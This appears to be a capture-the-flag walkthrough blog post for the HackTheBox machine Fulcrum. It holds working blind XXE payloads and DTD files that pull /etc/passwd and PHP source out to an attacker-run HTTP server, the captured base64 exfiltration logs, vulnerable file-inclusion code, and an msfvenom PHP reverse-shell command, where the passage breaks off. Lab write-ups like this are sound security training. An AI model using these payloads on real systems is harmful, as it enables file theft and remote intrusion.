&lt;h3 id=&quot;enumering-port-88-phpmyadmin&quot;&gt;Enumering Port 88 (phpmyadmin)&lt;/h3&gt;

&lt;p&gt;Attempting to authenticate with various combinations of common usernames, and passwords seen on hackthebox machines eg: &lt;code class=&quot;highlighter-rouge&quot;&gt;root:root&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;admin:admin&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;admin:password&lt;/code&gt; etc..&lt;/p&gt;

&lt;p&gt;Every time you attempt to authenticate the following error message would return.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/fulcrum/5.png&quot; alt=&quot;&amp;quot;PHPmyAdmin SQL Error&amp;quot;&quot; /&gt;
From some quick &lt;a href=&quot;http://www.codecheese.com/2011/04/2002-the-server-is-not-responding-or-the-local-mysql-servers-socket-is-not-correctly-configured/&quot;&gt;google searching&lt;/a&gt; this likely meant  that the MySQL Server is misconfigured, or not accepting connections which likely means this was just another rabbit-hole.&lt;/p&gt;

&lt;h3 id=&quot;enumerating-port-9999-pfsense&quot;&gt;Enumerating Port 9999 (PFSense)&lt;/h3&gt;

&lt;p&gt;Visiting the service on port &lt;code class=&quot;highlighter-rouge&quot;&gt;9999&lt;/code&gt; brings us to the homepage of &lt;a href=&quot;https://www.pfsense.org/&quot;&gt;PFsense&lt;/a&gt; (an open-source firewall).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/fulcrum/4.png&quot; alt=&quot;&amp;quot;PFSense&amp;quot;&quot; title=&quot;PFSense&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Attempting the default credentials for &lt;a href=&quot;https://www.netgate.com/docs/pfsense/usermanager/pfsense-default-username-and-password.html&quot;&gt;PFsense&lt;/a&gt;, in addition to common hack the box username,password combinous resulted with nothing.&lt;/p&gt;

&lt;p&gt;You can observe from the footer copyright (which states 2004-2018) this is likely the latest version of PFSense. Another indicator that you can use, if you are familiar with pfsense and how it previously to looked within the past (two? years) they switched the &lt;a href=&quot;https://www.netgate.com/blog/bootstrapped-webgui-update.html&quot;&gt;web interface UX styling&lt;/a&gt; framework from their (not so pretty custom styling) to bootstrap. If you view the source code of the page, then you see the bootstrap includes, which lets you know that this is likely another rabbit-hole.&lt;/p&gt;

&lt;h3 id=&quot;enumerating-port-56423-fulcrum-api&quot;&gt;Enumerating Port 56423 (FulCrum API)&lt;/h3&gt;

&lt;p&gt;Visiting the service on Port &lt;code class=&quot;highlighter-rouge&quot;&gt;56423&lt;/code&gt; brings us to what appears to be some sort of “API” endpoint.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/fulcrum/10.png&quot; alt=&quot;&amp;quot;Fulcrum API&amp;quot;&quot; title=&quot;Fulcrum API&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hitting it with gobuster reveals that, it only has a single resource available for us to hit.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/fulcrum# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.62:56423 -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_fulcrum_56423

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.62:56423/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 403,200,204,301,302,307
[+] Extensions   : .php,.html
=====================================================
/index.php (Status: 200)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;People generally skip over some of the inner thought process of discovering vulerbilities. But in this case, we have no real way of interacting with the api that’s available, so we are likely looking for some sort of blind injection vulnerability. (OS, XPath, XXE, SQLi etc..). We can pretty much rule out an SQL injection because the SQL database from our prior enumeration earlier wasn’t functioning.&lt;/p&gt;

&lt;p&gt;After attempting a variety of blind injection attacks, you end up discovering it’s blind XXE vulnerability.  The following &lt;a href=&quot;https://blog.zsec.uk/blind-xxe-learning/&quot;&gt;blog post&lt;/a&gt; is a good read on exploiting XXE vulerbilities.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/fulcrum/6.png&quot; alt=&quot;&amp;quot;Testing for XXE Vulerbility w/ Burp Suite&amp;quot;&quot; title=&quot;Testing for XXE Vulerbility w/ Burp suite&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;xxe test payload&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE data SYSTEM &quot;http://10.10.14.19:3434/&quot; [
&amp;lt;!ELEMENT data (#PCDATA)&amp;gt;&lt;/span&gt;
]&amp;gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;data&amp;gt;&lt;/span&gt;4&lt;span class=&quot;nt&quot;&gt;&amp;lt;/data&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;response&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/fulcrum# ncat -lnkvp 3434
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::3434
Ncat: Listening on 0.0.0.0:3434
Ncat: Connection from 10.10.10.62.
Ncat: Connection from 10.10.10.62:53288.
GET /test-t HTTP/1.0
Host: 10.10.14.19:3434
Connection: close
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;So we now we know what the vulnerability is, and we have a working “proof of concept”. We can safely say that this is going to be the entry point into the box so now it’s time to dive deeper.&lt;/p&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;
&lt;h3 id=&quot;using-blind-xxe-to-read-source-code-files&quot;&gt;Using Blind XXE to Read Source Code Files&lt;/h3&gt;

&lt;p&gt;Honestly, this part &lt;em&gt;fucking sucked&lt;/em&gt; for me. For some reason I’m awful at either following instructions, or there was something else going on. But one thing’s for sure, I clearly didn’t know how XXE properly which made the following section take &lt;em&gt;forever&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;I used a combination of the following resources, finally put together a stable formula for performing the OOB XXE. I’m not 100% if it was intended, but using the &lt;code class=&quot;highlighter-rouge&quot;&gt;php://filter&lt;/code&gt; pretty much was a requirement to pull data out through XXE (no other methods seemed to work). If you are just interested in getting the shell, it’s safe to skip this section.&lt;/p&gt;

&lt;p&gt;I recommend reading the following resources to understand the different ways we can take advantage of an XXE vulnerability.&lt;/p&gt;

&lt;p&gt;Links: 
| &lt;a href=&quot;https://2017.zeronights.org/wp-content/uploads/materials/ZN17_yarbabin_XXE_Jedi_Babin.pdf&quot;&gt;1&lt;/a&gt; 
| &lt;a href=&quot;https://blog.zsec.uk/out-of-band-xxe-2/&quot;&gt;2&lt;/a&gt; |
| &lt;a href=&quot;https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870&quot;&gt;3&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/fulcrum/7.png&quot; alt=&quot;&amp;quot;Using XXE to Request contents of &amp;quot;/etc/issue&amp;quot;&amp;quot;&quot; title=&quot;Using XXE to Request contents of &amp;quot;/etc/issue&amp;quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Contents of test.dtd&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/fulcrum/serve# cat test.dtd
  &amp;lt;!ENTITY % payl SYSTEM &quot;php://filter/read=convert.base64-encode/resource=file:///etc/issue&quot;&amp;gt;
  &amp;lt;!ENTITY % intern &quot;&amp;lt;!ENTITY &amp;amp;#37; xxe SYSTEM 'http://10.10.14.128/result?%payl;'&amp;gt;&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Upon successful exploitation, we should be receiving the contents of &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/issue&lt;/code&gt; as a &lt;code class=&quot;highlighter-rouge&quot;&gt;base64&lt;/code&gt; encoded string.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/fulcrum/serve# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.62 - - [20/Jun/2018 21:46:50] &quot;GET /test.dtd HTTP/1.0&quot; 200 -
10.10.10.62 - - [20/Jun/2018 21:46:50] code 404, message File not found
10.10.10.62 - - [20/Jun/2018 21:46:50] &quot;GET /result?Q3JlYXRlZCBieTogQE9uZUxvZ2ljYWxNeXRoCklQIEFkZHJlc3M6IFw0e2VuczMyfQpIb3N0bmFtZTogICBcbgoKR29vZCBMdWNrIQoKCg== HTTP/1.0&quot; 404 -
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Decoding it gives us the following content.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ echo -n &quot;Q3JlYXRlZCBieTogQE9uZUxvZ2ljYWxNeXRoCklQIEFkZHJlc3M6IFw0e2VuczMyfQpIb3N0bmFtZTogICBcbgoKR29vZCBMdWNrIQoKCg==&quot; | base64 -d
Created by: @OneLogicalMyth
IP Address: \4{ens32}
Hostname:   \n

Good Luck!
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;By changing the file in &lt;code class=&quot;highlighter-rouge&quot;&gt;test.dtd&lt;/code&gt; we can exfiltrate sensitive files, for further analysis, for example the contents of &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; or the fulcrum api source code.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
....[snip]....
messagebus:x:108:111::/var/run/dbus:/bin/false
blueprint:x:1000:1000:blueprint,,,:/home/blueprint:/bin/bash
colord:x:109:117:colord colour management daemon,,,:/var/lib/colord:/bin/false
libvirt-qemu:x:64055:115:Libvirt Qemu,,,:/var/lib/libvirt:/bin/false
libvirt-dnsmasq:x:110:118:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/bin/false
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Fulcrum API Source Code&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Content-Type:application/json;charset=utf-8'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Server: Fulcrum-API Beta'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;libxml_disable_entity_loader&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$xmlfile&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file_get_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'php://input'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$dom&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DOMDocument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$dom&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;loadXML&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$xmlfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;LIBXML_NOENT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;LIBXML_DTDLOAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;simplexml_import_dom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$dom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;Ping&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;//check if ok
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Ping&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Heartbeat'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Ping'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Ping&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Heartbeat'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Ping'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Pong&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;json_encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;


&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;From our further enumeration we know that there are other applications running on this box with known file names (results from enumerating the fulcrum web service on port 4). Attempting to access one of the known files like &lt;code class=&quot;highlighter-rouge&quot;&gt;home.php&lt;/code&gt; ends with nothing being returned, so likely what this means that the other web apps are separated into different directories.&lt;/p&gt;

&lt;p&gt;Attempting common web directories like &lt;em&gt;www, html, web, upload, uploads&lt;/em&gt; you discover that there is web-content being served from the &lt;code class=&quot;highlighter-rouge&quot;&gt;uploads&lt;/code&gt; directory which so happens to be the content of the Fulcrum web application service being hosted on port 4.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;dtd payload for discovering content in uploads web directory&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/fulcrum/serve# cat test.dtd  


&amp;lt;!ENTITY % payl SYSTEM &quot;php://filter/read=convert.base64-encode/resource=../uploads/index.php&quot;&amp;gt;  
&amp;lt;!ENTITY % intern &quot;&amp;lt;!ENTITY &amp;amp;#37; xxe SYSTEM 'http://10.10.14.128/result?%payl;'&amp;gt;&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;results&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;10.10.10.62 - - [20/Jun/2018 22:32:34] &quot;GET /result?PD9waHAKaWYoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gIT0gIjEyNy4wLjAuMSIpCnsKCWVjaG8gIjxoMT5VbmRlciBNYWludGFuY2U8L2gxPjxwPlBsZWFzZSA8YSBocmVmPVwiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSAuICI6NC9pbmRleC5waHA/cGFnZT1ob21lXCI+dHJ5IGFnYWluPC9hPiBsYXRlci48L3A+IjsKfWVsc2V7CgkkaW5jID0gJF9SRVFVRVNUWyJwYWdlIl07CglpbmNsdWRlKCRpbmMuIi5waHAiKTsKfQo/PgoK HTTP/1.0&quot; 404 -
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Un-Base64’ing the response gives you the contents of &lt;em&gt;index.php&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'REMOTE_ADDR'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;127.0.0.1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;h1&amp;gt;Under Maintance&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Please &amp;lt;a href=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;http://&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'SERVER_ADDR'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;:4/index.php?page=home&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;gt;try again&amp;lt;/a&amp;gt; later.&amp;lt;/p&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$inc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_REQUEST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;page&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$inc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;.php&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Contents of home.php&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Fulcrum File Upload&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;upload.php&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;post&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;enctype=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;multipart/form-data&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
        Select image to upload:
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;p&amp;gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;file&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;fileToUpload&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;fileToUpload&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;p&amp;gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;submit&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Upload Image&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;submit&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Contents of upload.php&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nb&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;p style=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;color:red;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;gt;Sorry the file upload failed&amp;lt;/p&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;We can quickly see see that the code  in &lt;code class=&quot;highlighter-rouge&quot;&gt;index.php&lt;/code&gt; is vulnerable  to a textbook &lt;code class=&quot;highlighter-rouge&quot;&gt;php file inclusion&lt;/code&gt; vulnerability. The only thing is, to exploit this  vulnerability we need to have the request come from the machines &lt;code class=&quot;highlighter-rouge&quot;&gt;localhost&lt;/code&gt;. If you attempt to access the page not from localhost it will give you the &lt;code class=&quot;highlighter-rouge&quot;&gt;Under maintenance &lt;/code&gt; page. But if the request comes from localhost we hit the 2nd code path of the application, and we have control over the &lt;code class=&quot;highlighter-rouge&quot;&gt;page&lt;/code&gt; parameter which is getting passed directly into the &lt;code class=&quot;highlighter-rouge&quot;&gt;include&lt;/code&gt; statement which we can use to get code execution. &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/&quot;&gt;Additional Reading&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;getting-shell-via-remote-file-include&quot;&gt;Getting Shell via Remote File Include&lt;/h3&gt;
&lt;p&gt;For what it was worth, getting a shell was relatively simple to execute. You probably could have skipped all of the stuff in the middle section, and gone straight here if you are familiar with php web application vulnerabilities, and what they look like. I believe a lot of people who completed this box did just that.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;generating a regular &lt;code class=&quot;highlighter-rouge&quot;&gt;msfvenom php reverse shell&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/fulcrum/serve# msfvenom -p php/reverse_php LHOST=10.10.15.74 LPORT=443 -f raw &amp;gt; 443.php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
